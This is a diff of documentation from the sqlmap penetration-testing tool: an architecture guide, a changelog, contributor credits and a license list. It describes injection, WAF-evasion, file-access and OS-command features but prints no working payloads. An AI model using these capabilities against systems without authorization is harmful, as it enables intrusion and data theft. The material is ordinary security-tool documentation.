reflection stripping and blind-bit classification they all need live in `lib/utils/nonsql.py`
|
||||||
|
instead of being copied per family.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. DBMS abstraction
|
||||||
|
|
||||||
|
Enumeration is DBMS-agnostic at the top and specialized underneath:
|
||||||
|
|
||||||
|
- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
|
||||||
|
`enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
|
||||||
|
`takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
|
||||||
|
(direct DB connection for `-d`).
|
||||||
|
- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
|
||||||
|
pieces and supplying dialect specifics.
|
||||||
|
- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
|
||||||
|
enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
|
||||||
|
the dialect comes from XML. It also carries the per-DBMS `<gadgets>` - side-effecting scalar
|
||||||
|
expressions (e.g. PostgreSQL `dblink_exec`) that `getGadget()` (`lib/request/inject.py`) probes
|
||||||
|
once and caches in `kb.gadget`, so `--sql-query` / `--file-write` / `--os-cmd` still work from an
|
||||||
|
injection point that has no stacked queries.
|
||||||
|
|
||||||
|
`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Output and session
|
||||||
|
|
||||||
|
- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
|
||||||
|
plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
|
||||||
|
is via `logger` (`lib/core/log.py`).
|
||||||
|
- **Session / resume** - each target gets a SQLite session file
|
||||||
|
(`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
|
||||||
|
(`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
|
||||||
|
fingerprint, and extracted values so a re-run *resumes* instead of re-testing
|
||||||
|
(`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
|
||||||
|
stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Request layer and tampering
|
||||||
|
|
||||||
|
`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
|
||||||
|
protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
|
||||||
|
persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
|
||||||
|
comparison oracle (`comparison.py`). Alternative transports hang off the same chokepoint: the
|
||||||
|
standard-library HTTP/2 client (`http2.py`, `--http2`, which also carries the `--timeless` oracle in
|
||||||
|
`timeless.py`) and WebSocket targets (`websocket.py`).
|
||||||
|
|
||||||
|
**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
|
||||||
|
Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
|
||||||
|
chains them in priority order. They are payload-string transforms only (no engine
|
||||||
|
coupling), which is why they compose freely. When a WAF/IPS is identified, `lib/utils/wafbypass.py`
|
||||||
|
ranks the plausible candidates and `_autoWafBypass()` (`controller.py`) trials them one at a time -
|
||||||
|
a candidate is adopted only if re-running the detection through it brings the injection back.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. REST API and JSON report
|
||||||
|
|
||||||
|
`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
|
||||||
|
subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
|
||||||
|
an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
|
||||||
|
`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
|
||||||
|
The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
|
||||||
|
|
||||||
|
`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
|
||||||
|
that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
|
||||||
|
drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Tests and self-tests
|
||||||
|
|
||||||
|
Two complementary layers:
|
||||||
|
|
||||||
|
- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
|
||||||
|
green on py2 + py3. `_testutils.py` bootstraps global state and provides the
|
||||||
|
property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
|
||||||
|
`python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
|
||||||
|
makes a `getFileType(__file__)` doctest see `binary`).
|
||||||
|
- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
|
||||||
|
(doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
|
||||||
|
the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
|
||||||
|
(`.github/workflows/tests.yml`) runs all of these.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. "Where do I start for ...?"
|
||||||
|
|
||||||
|
| I want to change... | Start in |
|
||||||
|
|---------------------|----------|
|
||||||
|
| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
|
||||||
|
| a constant/threshold | `lib/core/settings.py` |
|
||||||
|
| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
|
||||||
|
| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
|
||||||
|
| a non-SQL technique (SSTI, NoSQL, XPath, ...) | `lib/techniques/<family>/inject.py` (+ `NONSQL_TECHNIQUES` in `settings.py`) |
|
||||||
|
| the true/false decision | `lib/request/comparison.py` |
|
||||||
|
| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
|
||||||
|
| enumeration behavior | `plugins/generic/*.py` |
|
||||||
|
| dump/output format | `lib/core/dump.py` |
|
||||||
|
| a WAF-bypass transform | add a file under `tamper/` |
|
||||||
|
| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
|
||||||
|
| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
|
||||||
|
| a stdlib monkey-patch / security shim | `lib/core/patch.py` |
|
||||||
+147
-2
@@ -1,3 +1,145 @@
|
|||||||
|
# Version 2.0 (WIP)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.10...master)
|
||||||
|
|
||||||
|
## Injection techniques
|
||||||
|
|
||||||
|
* Added the switch `--nosql`. It tests for NoSQL injection. It also dumps the data that it finds.
|
||||||
|
* Added the switch `--xpath`. It tests for XPath injection.
|
||||||
|
* Added the switch `--ldap`. It tests for LDAP injection.
|
||||||
|
* Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL.
|
||||||
|
* Added the switch `--graphql`. It tests for GraphQL injection.
|
||||||
|
* Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection.
|
||||||
|
* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph.
|
||||||
|
* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return.
|
||||||
|
* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands.
|
||||||
|
* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels.
|
||||||
|
* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims.
|
||||||
|
* sqlmap now offers to get around a WAF/IPS on its own. Once it identifies one and the ordinary payloads come back blocked, it drops the scanner fingerprint and tries the tamper scripts that suit that WAF, and it keeps the first one that brings the injection back.
|
||||||
|
|
||||||
|
## Speed
|
||||||
|
|
||||||
|
* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable.
|
||||||
|
* Added the switch `--multi-bit`. On a page that renders rows, one request reads a bit from each row that comes back instead of a single bit altogether.
|
||||||
|
* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it.
|
||||||
|
* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it.
|
||||||
|
* Added parallel retrieval of values in blind mode. Each thread retrieves a different value.
|
||||||
|
* Made Keep-Alive the default. Use the switch `--no-keep-alive` to stop it.
|
||||||
|
* Added the reuse of HTTP/2 connections.
|
||||||
|
* Added the switch `--lengths`. It compares the pages only by the content length.
|
||||||
|
* Made the HashDB operations faster.
|
||||||
|
* Made the tamper script `luanginxmore` much faster.
|
||||||
|
|
||||||
|
## Targets and results
|
||||||
|
|
||||||
|
* Added the option `--openapi`. It makes the list of targets from an OpenAPI or Swagger document. The options `--openapi-base` and `--openapi-tags` limit that list.
|
||||||
|
* Added the switch `--mine-params`. It finds hidden GET parameters.
|
||||||
|
* Added the switch `--proof`. It proves the exploitation of each injection point that it finds.
|
||||||
|
* Added the option `--report-json`. It writes the results of the run to a JSON file.
|
||||||
|
* Added the switch `--procs`. It retrieves the stored procedures and their source code.
|
||||||
|
* Added the option `--exclude`. It gives the databases that sqlmap must not enumerate.
|
||||||
|
* Added JSONL as a dump format.
|
||||||
|
* Added the use of sqlmap as a library.
|
||||||
|
* Added experimental support for gRPC-Web (text) requests.
|
||||||
|
* Improved the crawler. It now finds the endpoints in JavaScript files.
|
||||||
|
|
||||||
|
## Back-end DBMS
|
||||||
|
|
||||||
|
* Added support for SAP HANA.
|
||||||
|
* Added support for Snowflake.
|
||||||
|
* Added support for Google Cloud Spanner.
|
||||||
|
* Added support for DuckDB and Trino as forks.
|
||||||
|
* Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify.
|
||||||
|
* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`.
|
||||||
|
* Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica.
|
||||||
|
* Added time-based payloads for CUBRID.
|
||||||
|
* Added out-of-band DNS channels for H2 and ClickHouse.
|
||||||
|
* Added PostgreSQL command execution through a PL extension.
|
||||||
|
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is there and the current user can run it, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
|
||||||
|
* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
|
||||||
|
* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
|
||||||
|
* Added stacked query payloads for Microsoft SQL Server and Sybase that carry no semicolon, so a filtered semicolon alone no longer hides the technique.
|
||||||
|
* Added the error signatures that tell the MySQL and the PostgreSQL forks apart: Doris, StarRocks, CockroachDB, YugabyteDB, OpenGauss, DuckDB, and Trino. These forks keep the wording of the engine that they come from, so only a leaked driver package or an engine-internal source reference gives them away.
|
||||||
|
* Made the fingerprinting payloads friendlier to a WAF, so the version detection survives where it used to get blocked.
|
||||||
|
* Added the tamper scripts `blindbinary`, `castprefix`, `dollarquote`, `infoschema2innodb`, `mid2leftright`, `mssqlnosemicolon`, `odbcbrace`, `oraclequote`, `quote2ltat`, `sign`, `sleep2hex`, and `uniontable`.
|
||||||
|
|
||||||
|
## Fewer dependencies
|
||||||
|
|
||||||
|
* Added an HTTP/2 client. It uses only the standard library.
|
||||||
|
* Added WebSocket support. It uses only the standard library.
|
||||||
|
* Added the decoding of Brotli and Zstandard responses. It uses only the standard library.
|
||||||
|
* Added Kerberos and Negotiate authentication. It uses only the standard library.
|
||||||
|
* Added NTLM authentication. This removed a deprecated third-party library.
|
||||||
|
* Rewrote the Keep-Alive handler. This removed the third-party package `keepalive`.
|
||||||
|
* Removed the third-party packages `multipart`, `odict`, and `prettyprint`.
|
||||||
|
* Replaced SocksiPy with PySocks.
|
||||||
|
|
||||||
|
## Security
|
||||||
|
|
||||||
|
* Removed all use of `pickle`. sqlmap now uses JSON for the session data and for the other serialized data.
|
||||||
|
* The REST API now requires authentication credentials.
|
||||||
|
* Put the `eval` behavior behind the environment variable `SQLMAP_UNSAFE_EVAL`.
|
||||||
|
* Put the option `--alert` behind the environment variable `SQLMAP_UNSAFE_ALERT`.
|
||||||
|
* Hardened the Brotli and the Zstandard decoders against hostile input.
|
||||||
|
|
||||||
|
## Correctness
|
||||||
|
|
||||||
|
* Made the boolean inference more reliable when the network has much jitter.
|
||||||
|
* Added automatic recovery when the page charset and the data charset do not agree.
|
||||||
|
* sqlmap now finds binary fields automatically in blind mode.
|
||||||
|
* Added support for the response code 429 (rate limit).
|
||||||
|
* Corrected the retrieval of UTF8MB4 characters from MySQL.
|
||||||
|
* Corrected the Set-Cookie behavior in redirections. Added support for domain cookies.
|
||||||
|
* sqlmap now keeps the value of an injected Host header.
|
||||||
|
* Removed the time outliers from the time statistics.
|
||||||
|
* Improved the detection of the SQL dialect of the target.
|
||||||
|
* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated.
|
||||||
|
* sqlmap now makes sure that the random markers around the retrieved data are all different. Two equal markers made the error-based technique give back the wrong character.
|
||||||
|
* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine.
|
||||||
|
* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them.
|
||||||
|
* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends.
|
||||||
|
* sqlmap no longer stops with an exception on a JWT whose signature is not valid base64url. Such a signature can not be an HMAC that sqlmap could verify, so it is reported as not crackable instead.
|
||||||
|
* Corrected the uppercasing of the keywords in the shown queries. A word that merely contains a keyword (e.g. a table named `selected`) and a keyword inside a quoted string are now left alone.
|
||||||
|
* Corrected the cracking of the old Oracle password hashes when the user name or the password does not come in as text.
|
||||||
|
* sqlmap now skips a UNION test whose request holds no character instead of stopping with an exception. Only a hand-edited `payloads/union_query.xml` can hold such a test.
|
||||||
|
* The gadget check now runs the gadget itself instead of only looking for the extension. A user that can not use it no longer gets a false success.
|
||||||
|
|
||||||
|
## Quality
|
||||||
|
|
||||||
|
* Added a unit test suite. It has more than 90 modules, and it runs on Python 2 and Python 3.
|
||||||
|
* Added pyflakes and more self-test stages to the CI/CD pipeline.
|
||||||
|
* Added `doc/ARCHITECTURE.md`.
|
||||||
|
|
||||||
|
# Version 1.10 (2026-01-01)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1)
|
||||||
|
|
||||||
|
# Version 1.9 (2025-01-02)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1)
|
||||||
|
|
||||||
|
# Version 1.8 (2024-01-03)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1)
|
||||||
|
|
||||||
|
# Version 1.7 (2023-01-02)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1)
|
||||||
|
|
||||||
|
# Version 1.6 (2022-01-03)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1)
|
||||||
|
|
||||||
|
# Version 1.5 (2021-01-03)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1)
|
||||||
|
|
||||||
# Version 1.4 (2020-01-01)
|
# Version 1.4 (2020-01-01)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||||
@@ -6,14 +148,17 @@
|
|||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||||
|
|
||||||
# Version 1.2 (2018-01-08)
|
# Version 1.2 (2018-01-08)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||||
|
|
||||||
# Version 1.1 (2017-04-07)
|
# Version 1.1 (2017-04-07)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||||
|
|
||||||
# Version 1.0 (2016-02-27)
|
# Version 1.0 (2016-02-27)
|
||||||
|
|
||||||
@@ -168,7 +313,7 @@
|
|||||||
* Major code cleanup.
|
* Major code cleanup.
|
||||||
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
|
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
|
||||||
* Updated user's manual.
|
* Updated user's manual.
|
||||||
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.
|
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html.
|
||||||
|
|
||||||
# Version 0.8 release candidate (2009-09-21)
|
# Version 0.8 release candidate (2009-09-21)
|
||||||
|
|
||||||
@@ -340,7 +485,7 @@
|
|||||||
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
|
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
|
||||||
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
|
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
|
||||||
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
|
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
|
||||||
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <http://sqlmap.org/dev/>;
|
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <https://sqlmap.org/dev/>;
|
||||||
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
|
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
|
||||||
* Improved logging functionality: passed from banal 'print' to Python native logging library;
|
* Improved logging functionality: passed from banal 'print' to Python native logging library;
|
||||||
* Added support for more than one parameter in `-p` command line option;
|
* Added support for more than one parameter in `-p` command line option;
|
||||||
|
|||||||
+22
-9
@@ -109,9 +109,15 @@ Alessandro Curio, <alessandro.curio(at)gmail.com>
|
|||||||
Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
||||||
* for reporting a couple of bugs
|
* for reporting a couple of bugs
|
||||||
|
|
||||||
|
Alexis Danizan, <alexis.danizan(at)synacktiv.com>
|
||||||
|
* for contributing support for ClickHouse
|
||||||
|
|
||||||
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
|
||||||
|
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
|
||||||
|
|
||||||
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
||||||
* for suggesting good features
|
* for suggesting good features
|
||||||
|
|
||||||
@@ -148,11 +154,6 @@ Giorgio Fedon, <giorgio.fedon(at)gmail.com>
|
|||||||
Kasper Fons, <thefeds(at)mail.dk>
|
Kasper Fons, <thefeds(at)mail.dk>
|
||||||
* for reporting several bugs
|
* for reporting several bugs
|
||||||
|
|
||||||
Jose Fonseca, <jose.r.fonseca(at)gmail.com>
|
|
||||||
* for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only
|
|
||||||
http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
|
|
||||||
http://code.google.com/p/jrfonseca/wiki/XDot
|
|
||||||
|
|
||||||
Alan Franzoni, <alan.franzoni(at)gmail.com>
|
Alan Franzoni, <alan.franzoni(at)gmail.com>
|
||||||
* for helping out with Python subprocess library
|
* for helping out with Python subprocess library
|
||||||
|
|
||||||
@@ -174,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
|
|||||||
* for reviewing the documentation
|
* for reviewing the documentation
|
||||||
|
|
||||||
Dimitris Giannitsaros, <daremon(at)gmail.com>
|
Dimitris Giannitsaros, <daremon(at)gmail.com>
|
||||||
* for contributing a REST-JSON API client
|
* for contributing a REST API client
|
||||||
|
|
||||||
Nico Golde, <nico(at)ngolde.de>
|
Nico Golde, <nico(at)ngolde.de>
|
||||||
* for reporting a couple of bugs
|
* for reporting a couple of bugs
|
||||||
@@ -193,9 +194,6 @@ David Guimaraes, <skysbsb(at)gmail.com>
|
|||||||
* for reporting considerable amount of bugs
|
* for reporting considerable amount of bugs
|
||||||
* for suggesting several features
|
* for suggesting several features
|
||||||
|
|
||||||
Chris Hall, <chris.hall(at)mod10.net>
|
|
||||||
* for coding the prettyprint.py library
|
|
||||||
|
|
||||||
Tate Hansen, <tate(at)clearnetsec.com>
|
Tate Hansen, <tate(at)clearnetsec.com>
|
||||||
* for donating to sqlmap development
|
* for donating to sqlmap development
|
||||||
|
|
||||||
@@ -317,6 +315,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
|
|||||||
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
||||||
* for contributing a Portuguese translation of README.md
|
* for contributing a Portuguese translation of README.md
|
||||||
|
|
||||||
|
Francesco Marano, <francesco.mrn24(at)gmail.com>
|
||||||
|
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
|
||||||
|
|
||||||
Ahmad Maulana, <matdhule(at)gmail.com>
|
Ahmad Maulana, <matdhule(at)gmail.com>
|
||||||
* for contributing a tamper script halfversionedmorekeywords.py
|
* for contributing a tamper script halfversionedmorekeywords.py
|
||||||
|
|
||||||
@@ -486,6 +487,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
|
|||||||
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
Henri Salo <henri(at)nerv.fi>
|
||||||
|
* for a donation
|
||||||
|
|
||||||
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
@@ -528,6 +532,9 @@ Duarte Silva <duarte.silva(at)serializing.me>
|
|||||||
M Simkin, <mlsimkin(at)cox.net>
|
M Simkin, <mlsimkin(at)cox.net>
|
||||||
* for suggesting a feature
|
* for suggesting a feature
|
||||||
|
|
||||||
|
Tanaydin Sirin, <tanaydinsirin(at)gmail.com>
|
||||||
|
* for implementation of ncurses TUI (switch --tui)
|
||||||
|
|
||||||
Konrads Smelkovs, <konrads(at)smelkovs.com>
|
Konrads Smelkovs, <konrads(at)smelkovs.com>
|
||||||
* for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server
|
* for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server
|
||||||
|
|
||||||
@@ -616,6 +623,9 @@ Thierry Zoller, <thierry(at)zoller.lu>
|
|||||||
Zhen Zhou, <zhouzhenster(at)gmail.com>
|
Zhen Zhou, <zhouzhenster(at)gmail.com>
|
||||||
* for suggesting a feature
|
* for suggesting a feature
|
||||||
|
|
||||||
|
Zakaria Zoulati, <https://github.com/zakaria-zoulati>
|
||||||
|
* for contributing SAP HANA support
|
||||||
|
|
||||||
-insane-, <insane_(at)gmx.de>
|
-insane-, <insane_(at)gmx.de>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
@@ -730,6 +740,9 @@ rmillet, <rmillet42(at)gmail.com>
|
|||||||
Rub3nCT, <rub3nct(at)gmail.com>
|
Rub3nCT, <rub3nct(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
sapra, <amanistaken(at)gmail.com>
|
||||||
|
* for helping out with Python multiprocessing library on MacOS
|
||||||
|
|
||||||
shiftzwei, <shiftzwei(at)gmail.com>
|
shiftzwei, <shiftzwei(at)gmail.com>
|
||||||
* for reporting a couple of bugs
|
* for reporting a couple of bugs
|
||||||
|
|
||||||
|
|||||||
+4
-16
@@ -15,9 +15,7 @@ This file lists bundled packages and their associated licensing terms.
|
|||||||
Copyright (C) 2013, Jonathan Hartley.
|
Copyright (C) 2013, Jonathan Hartley.
|
||||||
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
|
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
|
||||||
Copyright (C) 2000, 2001, 2004 Carey Evans.
|
Copyright (C) 2000, 2001, 2004 Carey Evans.
|
||||||
* The `PrettyPrint` library located under `thirdparty/prettyprint/`.
|
* The `PySocks` library located under `thirdparty/socks/`.
|
||||||
Copyright (C) 2010, Chris Hall.
|
|
||||||
* The `SocksiPy` library located under `thirdparty/socks/`.
|
|
||||||
Copyright (C) 2006, Dan-Haim.
|
Copyright (C) 2006, Dan-Haim.
|
||||||
|
|
||||||
````
|
````
|
||||||
@@ -48,14 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|||||||
|
|
||||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||||
Copyright (C) 2008, Mark Pilgrim.
|
Copyright (C) 2008, Mark Pilgrim.
|
||||||
* The `Gprof2dot` library located under `thirdparty/gprof2dot/`.
|
|
||||||
Copyright (C) 2008-2009, Jose Fonseca.
|
|
||||||
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
|
||||||
Copyright (C) 2002-2003, Michael D. Stenner.
|
|
||||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
|
||||||
Copyright (C) 2006, Will Holcomb.
|
|
||||||
* The `XDot` library located under `thirdparty/xdot/`
|
|
||||||
Copyright (C) 2008, Jose Fonseca.
|
|
||||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||||
|
|
||||||
@@ -275,13 +265,11 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
# MIT
|
# MIT
|
||||||
|
|
||||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2024, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019, Miroslav Stampar.
|
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
